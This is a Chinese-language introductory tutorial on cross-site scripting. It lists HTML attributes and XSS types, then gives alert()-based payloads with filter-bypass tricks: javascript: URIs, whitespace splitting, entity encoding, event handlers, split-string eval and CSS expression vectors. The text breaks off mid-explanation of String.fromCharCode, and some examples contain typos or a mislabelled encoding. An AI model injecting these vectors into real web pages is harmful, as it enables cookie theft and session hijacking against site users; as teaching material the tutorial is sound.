xss初瞭解

1.什麼是xss跨站腳本

跨站腳本是一種常見出現在web應用程序中的計算機安全漏洞,是由於web應用對用戶的輸入過濾不足而產生的。攻擊者用網站漏洞吧惡意的腳本代碼(通常包括HTML代碼和客戶端javascript腳本)注入到網頁中,當其他用戶瀏覽這些網頁是,就會執行其中的惡意代碼,對受害用戶可能採取cookie資料竊取,回鶻劫持,釣魚欺騙等各種攻擊。

2.html常用代碼的屬性瞭解

xss發起的基礎就是構造有效的代碼從而發起攻擊,因此有必要對HTML常用的代碼屬性進行了解。基礎不好是很難發現並利用這些漏洞的
a          href          超文本鏈接
base       href  爲頁面上的所有鏈接規定默認地址或默認目標,<base> 標籤必須位於 head 元素內部。

bgsound    scr
body
br
embed      src
frame      src
hr         size
img        scr
input
isindex
link
select
table
textarea
關於xss問題涉及到的css
import
expression
background-image

3.xss分類

反射型跨站腳本——非持久型,最常見(只在用戶單擊時觸發,而且只執行一次)
持久型跨站腳本——存儲型,比反射性威脅大

4.跨站常用方法

(1) 利用html標籤屬性值執行xss

<table backgrounp="javascript:alert('xss');"></table>
<img src="javascript:alert('xss');">
<a href="javascript:alert(/test/)">xss</a>

(2)空格回車tab

   <img src="java script:alert('xss');">

(3)對標籤屬性值轉碼
ascii轉碼:

<img src="javascr&#105pt:alert(/xxxx/)"> i的ascii編碼是&#105 此方法只能運用在HTML標籤中

利用字符編碼繞過:

<img src="javascript:&#97;lert&#40;&#39;xxxx&#39;&#41;">  10進制轉義
<img src="javascript:alert('xxxx')">     16進制轉義

(4)產生自己的事件

onclick="alert('xss')   //當點擊按鈕時執行
onmouseover='alert(1)' //在鼠標指針移動到指定的對象上時發生
<img src="#" onerror=alert(/xss/)>  //頁面發生錯誤,改事件立即被激活

(5)代碼拆分執行

<script>z='javascript:'</script>
<script>z=z+'alert(/xxss/)'</script>
<script>eval(z)</script>     //可繞過字符長度限制

(6)利用css跨站

<div style="background-image:url(javascript:alert('sss'))">
<style>body{background-image:url(javascript:alert('saaa'))} ;</style>
<img src="#" style="xss:expression(alert('ssss'))">

(7)js編碼以及調用
JS中的編碼還原函數最常用的就是String.fromCharCode了,這個函數用於ascii碼的還原,一般來說,這個函數都要配合

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章